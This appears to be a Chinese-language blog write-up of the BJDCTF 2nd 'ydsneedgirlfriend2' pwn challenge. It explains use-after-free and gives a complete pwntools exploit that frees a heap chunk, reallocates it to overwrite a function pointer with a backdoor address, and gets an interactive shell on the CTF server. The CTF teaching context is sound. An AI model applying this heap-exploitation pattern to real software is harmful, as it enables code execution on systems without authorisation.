[BJDCTF 2nd]ydsneedgirlfriend2

Use After Free 即使用一块释放的堆内存。
当程序的一个对快释放后,若其对应的指针没有设为null时,依然可以调用该指针,如果用户没有对这块堆的内容作修改的话,一般程序还是能正常执行。而漏洞就在于,若用户将这个指针指向的内容修改为目标函数的话,程序再次调用这个指针时就能执行该目标函数。
file
main:
file
add:
file
delet:
file
show:
file
那么这题的思路就是输入name为后门函数,再用show去调用就可以了

exp:

coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p= remote('node3.buuoj.cn',26581)

def add(size,context):
    p.recvuntil("u choice :\n")
    p.sendline(str(1))
    p.recvuntil("Please input the length of her name:\n")
    p.sendline(str(size))
    p.recvuntil("Please tell me her name:\n")
    p.sendline(context)

def delete(index):
    p.recvuntil("u choice :\n")
    p.sendline(str(2))
    p.recvuntil("Index :")
    p.sendline(str(index))

def show(index):
    p.recvuntil("u choice :\n")
    p.sendline(str(3))
    p.recvuntil("Index :")
    p.sendline(str(index))

system = 0x0000000000400D86
add(0x30,"aaaa") #申请大小为0x30的堆
delete(0) #把前面申请的堆块feer掉
add(0x10,p64(0)+p64(system)) #这里指针指向的是后面的8字节
show(0) #调用指针处的函数
p.interactive()

file

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据